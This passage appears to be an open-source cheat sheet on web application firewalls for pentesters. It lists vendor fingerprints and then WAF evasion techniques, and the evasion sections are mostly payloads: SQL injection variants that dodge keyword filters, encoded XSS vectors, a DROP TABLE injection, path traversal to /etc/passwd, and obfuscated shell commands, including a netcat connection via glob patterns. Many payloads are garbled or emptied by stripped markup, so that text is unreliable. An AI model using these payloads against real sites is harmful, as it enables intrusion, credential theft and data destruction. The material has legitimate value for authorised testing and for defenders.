# Awesome WAF  from a security perspective. đĽ
> **Foreword:** This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."
_
A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.
* Using a set of rules to distinguish between normal requests and malicious requests.
* Sometimes they use a learning mode to add rules automatically through learning user behaviour.
* **Negative Model (Blacklist based)** \- A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all ` * ` inputs prevent basic cross-site scripting attacks.
* **Positive Model (Whitelist based)** \- A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
* **Mixed/Hybrid Model (Inclusive model)** \- A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).
* Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
* Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
* Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
* Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
* Some expose themselves in the `Server` header (e.g. Approach, WTS WAF).
* Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
* Other WAFs with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).
To identify WAFs, we need to (dummy) provoke it.
1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`.
5. Inject noisy payloads like ` alert() ` into bars, forms and other input fields.
6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
9. Many a times, the WAF varies the `Server` header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
> **Tip:** This method could be easily achieved with tools like HPing3 or Scapy.
11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
> **Tip:** More details can be found in a blogpost here.
> **NOTE** : This section contains manual WAF detection techniques. You might want to switch over to section.
* Returns status code `493` upon unusual requests.
* Blockpage may contain reference to `wzws-waf-cgi/` directory.
* Blocked response page source may contain:
* `Sorry! Your access has been intercepted because your links may threaten website security.` text snippet.
* Response headers may contain `X-Powered-By-360WZB` header.
* Blocked response headers contain unique header `WZWS-Ray`.
* `Server` header may contain value `qianxin-waf`.
* Blocked response content contains `aesecure_denied.png` image (view source to see).
* Response headers contain `aeSecure-code` value.
* `AL-SESS` cookie field name (case insensitive).
* `Server detected a syntax error in your request` text.
* `Check your request and all parameters` text snippet.
* `We are sorry, but the page you are looking for cannot be found` text snippet.
* `The page has either been removed, renamed or temporarily unavailable` text.
* `Sorry, your request has been blocked as it may cause potential threats to the server's security` text snippet.
* Reference to `errors.aliyun.com` site URL.
* Blocked response code returned is `405`.
* Returns blocked HTTP response code `405` upon malicious requests.
* Blocked response content may contain `/aqb_cc/error/` or `hidden_intercept_time`.
* Response headers contain `X-Powered-by-Anquanbao` header field.
* Blocked response content contains `Sorry! your access has been intercepted by AnYu`
* Blocked response page contains `AnYu- the green channel` text.
* Response headers may contain unusual header `WZWS-RAY`.
* Blocked response page content may contain:
* `Approach Web Application Firewall Framework` heading.
* `Your IP address has been logged and this information could be used by authorities to track you.` warning.
* `Sorry for the inconvenience!` keyword.
* `Approach infrastructure team` text snippet.
* `Server` header has field value set to `Approach`.
* `This request has been blocked by website protection from Armor` text.
* `If you manage this domain please create an Armor support ticket` snippet.
* `Server` header contains `ArvanCloud` keyword.
* `Server` header contains `ASPA-WAF` keyword.
* Response contain unique header `ASPA-Cache-Status` with content `HIT` or `MISS`.
* Response headers may contain `X-ASPNET-Version` header value.
* Blocked response page content may contain:
* `This generic 403 error means that the authenticated user is not authorized to use the requested resource`.
* `X-Powered-By` header has field value set to `ASP.NET`.
* Blocked response page content may contain:
* `our website protection system has detected an issue with your IP address and wont let you proceed any further` text snippet.
* Reference to ` URL.
* Response cookies has field value `cz_astra_csrf_cookie` in response headers.
* Request token ID with length from 20 to 25 between `RequestId` tag.
* `Server` header field contains `awselb/2.0` value.
* `Server` header may contain `Yunjiasu-nginx` value.
* `Server` header may contain `Yunjiasu` value.
* Blocked response page content contains:
* `Forbidden Access` text snippet in `h1`.
* Response cookies may contain `barra_counter_session` value.
* Response headers may contain `barracuda_` keyword.
* `You are unable to access this website` text.
* Blocked response headers contains `Bekchy - Access Denied`.
* Blocked response page contains reference to `
* `Server` header contains `BinarySec` keyword.
* `Security check by BitNinja` text snippet.
* `your IP will be removed from BitNinja`.
* `Visitor anti-robot validation` text snippet.
* `(You will be challenged by a reCAPTCHA page)` text.
* Response headers may contain `BigIP` or `F5` keyword value.
* Response header fields may contain `X-WA-Info` header.
* Response headers might have jumbled `X-Cnection` field value.
* `Server` header contains value `BlockDos.net`.
* `Server` header contains `BDWAF` field value.
* Blocked response page contains to `Bluedon Web Application Firewall` text snippet..
* `div` with id as `bpsMessage` text snippet.
* `If you arrived here due to a or clicking on a link click your Browser's back button to return to the page.` text snippet.
* Blocked response page contains `CdnNsWAF Application Gateway` text snippet.
* `We're sorry, you are not allowed to proceed` text snippet.
* `Your request looks suspicious or similar to automated requests from spam posting software` warning.
* Blocked response page contains `event_id` keyword within HTML .
* Response headers contain `Powered-by-ChinaCache` field.
* `Server` header has value `ACE XML Gateway` set.
* `Your request was blocked by Cloudbric` text snippet.
* Reference to ` URL.
* Page title starting with `Cloudbric | ERROR!`.
* Response headers might have `cf-ray` field value.
* `Server` header field has value `cloudflare`.
* `Set-Cookie` response headers have `__cfuid=` cookie field.
* Page content might have `Attention Required!` or `Cloudflare Ray ID:`.
* Page content may contain `DDoS protection by Cloudflare`as text.
* You may encounter `CLOUDFLARE_ERROR_500S_BOX` upon hitting invalid URLs.
* `Server` header field has value `CloudfloorDNS WAF`.
* Block-page title might have `CloudfloorDNS - Web Application Firewall Error`.
* Page content may contain ` URL as a link.
* Blocked response content contains `Generated by cloudfront (CloudFront)` error upon malicious request.
* `Server` header contains `Protected by COMODO WAF` value.
* Response cookies might contain `crawlprotect` cookie name.
* Block Page title has `CrawlProtect` keyword in it.
* Blocked response content contains value
`This site is protected by CrawlProtect !!!` upon malicious request.
* Response content contains value `Condition Intercepted`.
* `Set-Cookie` header contains cookie field `sessioncookie`.
* Response headers contain field value `X-Distil-CS` in all requests.
* `You have disabled javascript in your browser.` text snippet.
* `Something your browser made us think that you are a bot.` text.
* Response headers contain field value `X-DIS-Request-ID`.
* `Server` header contains `DOSarrest` keyword.
* Blocked response content contains value
* Blocked response headers contain `X-dotDefender-denied` field value.
* Blocked response headers contain `X-403-Status-By` field with value `dw-inj-check` value.
* `Server` header contains `e3Learning_WAF` keyword.
* Blocked response content contains value
`Please the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)`.
* Blocked response code returns `400 Bad Request` on malicious requests.
* Blocked response page content may contain:
* `Server` header has field value set to `EisooWAF-AZURE/EisooWAF`.
* Blocked response page returns `Invalid URI` generally.
* Blocked response content contains value `Invalid GET Request` upon malicious GET queries.
* Blocked POST type queries contain `Invalid Data` in response content.
* Blocked response content contains warning
`The requested URL was rejected. Please consult with your administrator.`
* Response headers contain `FORTIWAFSID=` on malicious requests.
* `Server unavailable. Please visit later.` as text.
`Access Denied - GoDaddy Website Firewall`.
* ` the website owner or Grey Wizard` text snippet.
* `We've detected attempted attack or non standard traffic from your IP address` text snippet.
* `Server` header contain `greywizard` keyword.
* Reference to `account.hwclouds.com/static/error/images/404img.jpg` error image.
* Reference to `hws_security@{site.tld}` e-mail for reporting.
* `Set-Cookie` header has cookie field `ODSESSION=` in response headers.
* Response headers contains field value value `X-Backside-Transport` with value `OK` or `FAIL`.
* Blocked response page content may contain:
* Normal GET request headers contain `visid_incap` value.
* Response headers may contain `X-Iinfo` header field name.
* `Set-Cookie` header has cookie field `incap_ses` and `visid_incap`.
* `Server` header contain `imunify360-webshield` keyword.
* `imunify360 preloader` if response type is JSON.
* Blocked response page contains `protected by Imunify360` text.
* `Server` header contains value `IF_WAF`.
* Blocked response content contains warning
`further investigation and remediation with a screenshot of this page.`
* Response headers contain a unique header `X-Version`.
* Response headers contain `X-Instart-Request-ID` unique header.
* Response headers contain `X-Instart-WL` unique header fingerprint.
* Response headers contain `X-Instart-Cache` unique header fingerprint.
* Blocked response page contains `The requested URL was rejected. Please consult with your administrator.` text.
* `The ISA Server denied the specified Uniform Resource Locator (URL)` text snippet.
* `The server denied the specified Uniform Resource Locator (URL). the server administrator.` text snippet
* Blocked response page has image displaying `JANUSEC` name and logo.
* Blocked response page displays `Janusec Application Gateway` on malicious requests.
* Blocked response page contains reference to `static.jiasule.com/static/js/http_error.js` URL.
* `Set-Cookie` header has cookie field `__jsluid=` or `jsl_tracking`in response headers.
* `Server` header has `jiasule-WAF` keywords.
* Blocked response content has `notice-jiasule` keyword.
* `Server` header contains `KeyCDN` keyword.
* Blocked response page displays `ks-waf-error.png` image (view source to see).
* `Server` header contains `AkamaiGHost` keyword.
* `Server` header has value set to `LiteSpeed`.
* `Proudly powered by LiteSpeed Web Server` text.
* Reference to `
* `Access to resource on this server is denied.`
* `Blocked because of Malicious Activities` text snippet.
* `Firewall powered by MalCare` text snippet.
* `Server` header field contains `Mission Control Application Shield` value.
* `This error was generated by Mod_Security` text snippet.
* `One or more things in your request were suspicious` text snippet.
* `rules of the mod_security module` text snippet.
* `mod_security rules triggered` text snippet.
* Reference to `/modsecurity-errorpage/` directory.
* `Server` header may contain `Mod_Security` or `NYOB` keywords.
* Sometimes, the response code to an attack is `403` while the response phrase is `ModSecurity Action`.
* Blockpage occurs on adding a separate request header `X-Scanner` when set to a particular paranoa level.
* Blocked response page contains `This Request Has Been Blocked By NAXSI`.
* Response headers contain unusual field `X-Data-Origin` with value `naxsi/waf` keyword.
* `Server` header contains `naxsi/waf` keyword value.
* Blocked response page may contain `NAXSI blocked information` error code.
* Blocked response page contains `Suspicious activity detected. Access to the site is blocked.`.
* Contains reference to email `nwaf@{site.tld}`
* Session cookies contain `NCI__SessionId=` cookie field name.
* `Connection:` header field name jumbled to `nnCoection:`
* Response header cookies contain `Navajo` keyword.
* Reference to ` URL.
* `Server` header contains `NewDefend` keyword.
* Blocked response page has reference to `speresources.nexusguard.com/wafpage/index.html` URL.
* Response page title contains `NinjaFirewall: 403 Forbidden`.
* `For security reasons, it was blocked and logged` text snippet.
* Returns a `403 Forbidden` response upon malicious requests.
* `Server` header contain `NSFocus` keyword.
* `Server` header contains the `NullDDoS System` keyword.
* Response headers contain header `X-Engine` field with value `onMessage Shield`.
* `Blackbaud K-12 conducts routine maintenance` keyword.
* `This site is protected by an enhanced security system`.
* Reference to ` URL.
* Reference to ` URL.
* `Server` header contains `openresty/{version}` keyword.
* Blocked response page contains `openresty/{version}` text.
* Blocked response code returned is `406 Not Acceptable`.
* Blocked response page contains `Virus/Spyware Download Blocked`.
* Response page might contain `Palo Alto Generation Security Platform` text snippet.
* `Server` header contains `PentaWAF/{version}` keyword.
* Blocked response page contains text `PentaWAF/{version}`.
* Blocked response page contains reference to
` URL.
* `A safety critical request was discovered and blocked` text snippet.
Positive Technologies Application Firewall |
* Blocked response page contains `Forbidden` in `h1` followed by:
* `Request ID:` in format `yyyy-mm-dd-hh-mm-ss-{ref. code}`
* `Via` header with content `powercdn.com`.
* `X-Cache` header with content `powercdn.com`.
* `X-CDN` header with content `PowerCDN`.
* `Set-Cookie` headers contain `PLBSID=` cookie field name.
* `Server` header contain `Profense` keyword.
* Blocked response page might contain to `request does not match Proventia rules` text snippet.
* `Server` header contain `PuhuiWAF` keyword.
* Response headers contain unusual header `X-Qiniu-CDN` with value set to either `0` or `1`.
* Response page contains the following text snippet:
`Unauthorized Activity Has Been Detected.` and `Case Number`
* Blocked response page has reference to `radwarealerting@{site.tld}` email.
* Blocked response page has title set to `Unauthorized Request Blocked`.
* Response headers may contain `X-SL-CompState` header field name.
* Cookies in response headers contain `rbzid=` header field name.
* `Server` field value might contain `Reblaze Secure Web Gateway` text snippet.
* `Current session has been terminated` text.
* `For further information, do not hesitate to us`.
* A firewall found specifically on ASP.NET websites and none others.
* Response page contains either of the following text snippet:
* `ASP.NET has detected data in the request that is potentially dangerous.`
* `Request Validation has detected a potentially dangerous client input value.`
* Blocked response code returned is always `500 Internal Error`.
* `COM_RSFIREWALL_403_FORBIDDEN` keyword.
* Returns status code `500 Internal Error` upon malicious requests.
* email `[email protected]`.
* `Your request has been blocked` bold warning.
* `clicking the above email link will automatically add some important details to the email for us to investigate the problem` text snippet.
* `X-Powered-By` header has field value `Safe3WAF`.
* `Server` header contains field value set to `Safe3 Web Firewall`.
* Response page contains `Safe3waf` keyword.
* `Server` header in response may contain:
* `Server` header in response may contain:
* Response code returned is `503 Service Unavailable`.
* `Server` header contains value set to `Secure Entry Server`.
* Response page contains either of the following text snippet:
* Reference to ` URL.
* Response page contains the following text snippet:
* ` support for additional information.` text.
* Blocked response page contains `SENGINX-ROBOT-MITIGATION` keyword.
* Blocked response contains `X-Pint` header field with `p80` keyword.
* Blocked response page contains `request forbidden by administrative rules.` keyword.
* `You were blocked by the Shield.` text.
* `Something in the URL, Form or Cookie data wasn't appropriate` text snippet.
* `Warning: You have {number} remaining transgression(s) against this site`.
* `Seriously stop repeating what you are doing or you will be locked out`.
`The page you are trying to access is restricted due to a security rule` text snippet.
* `The server refuse to browse the page.` text snippet.
* `The URL may not be correct. Please confirm the value.`
* Blocked response page source contains the following:
* `Sitelock is leader in Business Website Security Services.` text.
* `Server` header contain `SonicWALL` keyword value.
* Blocked response page contains either of the following text snippet:
* `This request is blocked by the SonicWALL.`
* Blocked response page contains `Powered by UTM Web Protection` keyword.
* Response code returned is `404 Not Found` upon malicious requests.
* Blocked response page contains either of the following text snippet:
* `Server` header contains field value `squid/{version}`.
`Access control configuration prevents your request from being allowed at this time.`.
* Contains image displaying `StackPath` logo.
`You performed an action that triggered the service and blocked your request`.
* Blocked response code returns `403 Forbidden` or `500 Internal Error`.
* Response headers contain the `X-Mapping` header field name.
* Response headers may contain `Sucuri` or `Cloudproxy` keywords.
* Blocked response page contains the following text snippet:
* `Access Denied - Sucuri Website Firewall` text.
* Reference to ` URL.
* Sometimes the email `[email protected]`.
* Contains copyright notice `;copy {year} Sucuri Inc`.
* Response headers contains `X-Sucuri-ID` header along with normal requests.
* Blocked response code returns `405 Method Not Allowed` error.
* Blocked response page contains reference to `waf.tencent-cloud.com` URL.
* Response headers contain cookie field `st8id`.
* `Server` might contain `F5-TrafficShield` keyword.
* `ASINFO=` value might be detected in response cookies.
* Response headers contain unique header `X-TransIP-Backend`.
* Response headers contain another header `X-TransIP-Balancer`.
* Reference to `/uewaf_deny_pages/default/img/` inurl directory.
* Response headers returned has `Server` header set to `uewaf/{version}`.
* Blocked response code returned is `400 Bad Request` text snippet.
* `Server Erro in Application` as heading.
* Response headers contain `Secure Entry Server` field value.
* Malicious request returns `404 Not Found` Error.
* `Request rejected by xVarnish-WAF` text snippet.
* `Error 403 Naughty, not Nice!` as heading.
* Block page has title set to `Access denied ¡ Viettel WAF`.
* Reference to ` URL.
* Response page contains keywords `Viettel WAF system`.
* information reference to ` URL.
* ` picture.
* Response page title contains `Virusdie` keyword.
* Page metadata contains `name="FW_BLOCK"` keyword
* `Server` headers contain `nginx-wallarm` value.
* `Server` headers may contain `WatchGuard` field value.
* `Request denied by WatchGuard Firewall` text.
* `WatchGuard Technologies Inc.` as footer.
* Restricted to specifically WordPress sites only.
* `This request has been blocked by WebARX Web Application Firewall` text.
* Reference to `/wp-content/plugins/webarx/` directory where it is installed.
* Response headers contain `WebKnight` keyword.
* `WebKnight Application Firewall Alert` text warning.
* Blocked response code returned is `999 No Hacking`. :p
* Blocked response code returned is also `404 Hack Not Found`. :p
* `Server` header contains `Apache Protected By WebLand WAF` keyword.
* `Server` header contains `WebRay-WAF` keyword.
* Response headers may have `DrivedBy` field with value `RaySrv RayEng/{version}`.
* `Server` header contain `WebSEAL` keyword.
* `This is a WebSEAL error message template file` text.
* `WebSEAL server received an invalid HTTP request` text snippet.
* Blocked response page contains `The current request was blocked by WebTotem`.
* Response headers contain `X-Cache` header field with `WT263CDN` value.
* Response headers contain `WebKnight` keyword.
* `A potentially unsafe operation has been detected in your request to this site` text warning.
* `Your access to this site has been limited` text warning.
* `This response was generated by Wordfence` text snippet.
* Blocked response page title has `WTS-WAF` keyword.
* `Server` header contains `wts` as value.
* Response headers contain `X-CDN` header field with `XLabs Security` value.
* Blocked response page contains reference to ` site URL.
* Reference to help page at `
* `Server` header contains `YUNDUN` as value.
* `X-Cache` header field contains `YUNDUN` as value.
* Response page contains `Blocked by YUNDUN Cloud WAF` text snippet.
* Blocked response page contains reference to `yundun.com/yd_http_error/` URL.
* Blocked response page contains image class reference to `yunsuologo`.
* Response headers contain the `yunsuo_session` field name.
* Response might have `yx_ci_session` cookie field.
* Response might have `yx_language` cookie field.
* `Server` header contains `Yxlink-WAF` field value.
* Blocked response page contains reference to `/__zenedge/assets/` directory.
* `Server` header contain `ZENEDGE` keyword.
* Blocked response headers may contain `X-Zen-Fury` header.
* `Server` header has value set to `ZScaler`.
* `Access Denied: Accenture Policy` text.
* Reference to ` URL.
* Reference to image at `
* `Your organization has selected Zscaler to protect you from internet threats`.
* `The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate`.
Lets look at some methods of bypassing and evading WAFs.
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
* Load up your wordlist into fuzzer and start the bruteforce.
* Record/log all responses from the different payloads fuzzed.
* Use random user-agents, ranging from Chrome Desktop to iPhone browser.
* If blocking noticed, increase fuzz latency (eg. 2-4 secs).
* Always use proxychains, since chances are real that your IP gets blocked.
* Many a times your IP will be blocked (temporarily/permanently).
* Most efficient method of bypassing WAFs.
* Some WAFs rely upon matching the attack payloads with the signatures in their databases.
* Payload matches the reg-ex the WAF triggers alarm.
* In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
* The idea is to guess the regex and craft the payloads which doesn't use the blacklisted keywords.
**Keywords Filtered** : `and`, `or`, `union`
**Probable Regex** : `preg_match('/(and|or|union)/i', $id)`
* **Blocked Attempt** : `union select user, password from users`
* **Bypassed Injection** : `1 || (select user from users where user_id = 1) = 'admin'`
**Keywords Filtered** : `and`, `or`, `union`, `where`
* **Blocked Attempt** : `1 || (select user from users where user_id = 1) = 'admin'`
* **Bypassed Injection** : `1 || (select user from users limit 1) = 'admin'`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`
* **Blocked Attempt** : `1 || (select user from users limit 1) = 'admin'`
* **Bypassed Injection** : `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`, `group by`
* **Blocked Attempt** : `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
* **Bypassed Injection** : `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
* **Blocked Attempt** : `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
* **Bypassed Injection** : `1 || 1 = 1 into outfile 'result.txt'`
* **Bypassed Injection** : `1 || substr(user,1,1) = 'a'`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
* **Blocked Attempt** : `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
* **Bypassed Injection** : `1 || user_id is not null`
* **Bypassed Injection** : `1 || substr(user,1,1) = 0x61`
* **Bypassed Injection** : `1 || substr(user,1,1) = unhex(61)`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
* **Blocked Attempt** : `1 || substr(user,1,1) = unhex(61)`
* **Bypassed Injection** : `1 || substr(user,1,1) = lower(conv(11,10,36))`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
* **Blocked Attempt** : `1 || substr(user,1,1) = lower(conv(11,10,36))`
* **Bypassed Injection** : `1 || lpad(user,7,1)`
**Keywords Filtered** : `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
* **Blocked Attempt** : `1 || lpad(user,7,1)`
* **Bypassed Injection** : `1%0b||%0blpad(user,7,1)`
* Encoding payload to different encodings (a hit and trial approach).
* You can encode whole payload, or some parts of it and test recursively.
* Some poorly developed WAFs filter selectively specific case WAFs.
* We can combine upper and lower case characters for developing efficient payloads.
**Standard** : ` alert() `
**Bypassed** : ` alert() `
**Standard** : `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
**Bypassed** : `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`
* Encode normal payloads with % encoding/URL encoding.
* Can be done with online tools like this.
* Burp includes a in-built encoder/decoder.
**Blocked** : ` "/oNloaD=confirm()//`
**Bypassed** : `%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F`
**Blocked** : `uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)`
**Bypassed** : `uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29`
* ASCII characters in unicode encoding encoding provide great variants for bypassing.
* You can encode entire/part of the payload for obtaining results.
**Standard** : ` `
**Obfuscated** : ` `
**Blocked** : `/?redir=
**Bypassed** : `/?redir= (Unicode alternative)
**Blocked** : ` x`
**Bypassed** : `ďźmarquee loopďź1 onfinishďźalert︾1)>x` (Unicode alternative)
> **TIP:** Have a look at this and this reports on HackerOne. :)
**Obfuscated** : `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd`
* Often web apps encode special characters into HTML encoding and render them accordingly.
* This leads us to basic bypass cases with HTML encoding (numeric/generic).
**Encoded** : `"> ` (General form)
**Encoded** : `"> ` (Numeric reference)
* Sometimes, WAF rules often tend to filter out a specific type of encoding.
* This type of filters can be bypassed by mixed encoding payloads.
* Tabs and newlines further add to obfuscation.
XSS
* obfuscate standard payload vectors.
* Different payloads have different ways of obfuscation.
**Bypassed** : ` alert/**/()/**/ `
**Blocked** : `/?id=1+union+select+1,2,3--`
**Bypassed** : `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
* Often WAF filters tend to encode characters to prevent attacks.
* However poorly developed filters (no recursion filters) can be bypassed with double encoding.
**Standard** : `
**Obfuscated** : `
**Standard** : ` alert() `
**Obfuscated** : `%253Cscript%253Ealert()%253C%252Fscript%253E`
* Globbing patterns are used by various command-line utilities to work with multiple files.
* We can tweak them to execute system commands.
* Specific to remote code execution vulnerabilities on linux systems.
**Obfuscated** : `/???/n? 2130706433 1337`
* Different programming languages have different syntaxes and patterns for concatenation.
* This allows us to effectively generate payloads that can bypass many filters and rules.
**Standard** : ` alert() `
**Obfuscated** : ` eval('al'+'er'+'t()') `
**Obfuscated** : `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash allows path concatenation for execution.
* Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
* Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass by signature.
* However, the request must still remain valid while using token-breakers.
* **Case** : Unknown Token for the Tokenizer
* **Payload** : `?id=â-sqlite_version() UNION SELECT password FROM users --`
* **Case** : Unknown Context for the Parser (Notice the uncontexted bracket)
* **Payload 1** : `?id=123);DROP TABLE users --`
* **Payload 2** : `?id=1337) INTO OUTFILE âxxxâ --`
> **TIP:** More payloads can be crafted via this cheat sheet.
* Many web applications support different encoding types and can interpret the encoding (see below).
* Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
* IIS6, 7.5, 8 and 10 (ASPX v4.x) allow **IBM037** character interpretations.
* We can encode our payload and send the encoded parameters with the query.
Content-Type: application/x-www-form-urlencoded; charset=utf-8
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
> **TIP:** You can use this small python script to convert your payloads and parameters to your desired encodings.
Nginx, uWSGI-Django-Python3| IBM037, IBM500, cp875, IBM1026, IBM273|
* Query string and body need to be encoded.
* Url-decoded parameters in query string and body.
* Equal sign and ampersand needed to be encoded as well (no url-encoding).
Nginx, uWSGI-Django-Python2| IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424|
* Query string and body need to be encoded.
* Url-decoded parameters in query string and body afterwards.
* Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT8-JVM1.8-JSP| IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025|
* Query string in its original format (could be url-encoded as usual).
* Body could be sent with/without url-encoding.
* Equal sign and ampersand should not be encoded in any way.
Apache-TOMCAT7-JVM1.6-JSP| IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025|
* Query string in its original format (could be url-encoded as usual).
* Body could be sent with/without url-encoding.
* Equal sign and ampersand should not be encoded in any way.
IIS6, 7.5, 8, 10 -ASPX (v4.x)| IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025|
* Query string in its original format (could be url-encoded as usual).
* Body could be sent with/without url-encoding.
* Equal sign and ampersand should not be encoded in any way.
* This attack method is based on how a server interprets parameters with the same names.
* The server uses the last received parameter, and WAF checks only the first.
* The server unites the value from similar parameters, and WAF checks them separately.
* The idea is to enumerate how the parameters are being interpreted by the server.
* In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
* Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
**Environment**| **Parameter Interpretation**| **Example**
ASP/IIS| Concatenation by comma| par1=val1,val2
JSP, Servlet/Apache Tomcat| First parameter is resulting| par1=val1
ASP.NET/IIS| Concatenation by comma| par1=val1,val2
PHP/Zeus| Last parameter is resulting| par1=val2
PHP/Apache| Last parameter is resulting| par1=val2
JSP, Servlet/Jetty| First parameter is resulting| par1=val1
IBM Lotus Domino| First parameter is resulting| par1=val1
IBM HTTP Server| Last parameter is resulting| par1=val2
mod_perl, libapeq2/Apache| First parameter is resulting| par1=val1
Oracle Application Server 10G| First parameter is resulting| par1=val1
Perl CGI/Apache| First parameter is resulting| par1=val1
Python/Zope| First parameter is resulting| par1=val1
IceWarp| An array is returned| ['val1','val2']
AXIS 2400| Last parameter is resulting| par1=val2
DBMan| Concatenation by two tildes| par1=val1~~val2
mod-wsgi (Python)/Apache| An array is returned| ARRAY(0x8b9058c)
* HPF is based on the principle where the server unites the value being passed along the parameters.
* We can split the payload into different components and then pass the values via the parameters.
**Sample Payload** : `1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS`
**Sample Query URL** : `
> **TIP:** A real life example how bypasses can be crafted using this method can be found here.
* We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
* When the site decodes the string, the payload gets triggered.
GET **/page.php?p=âă¸ă°scriptă¸alert(1)ă°/scriptă¸** HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: `" alert (1) ` which will trigger XSS.
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
* The null bytes are commonly used as string terminator.
* This can help us evade many web application filters in case they are not filtering out the null bytes.
confirm(0);
**Standard** : ` `
**Obfuscated** : ` clickme `
**Variant** : ` clickme `
* RFC states that NodeNames cannot begin with whitespace.
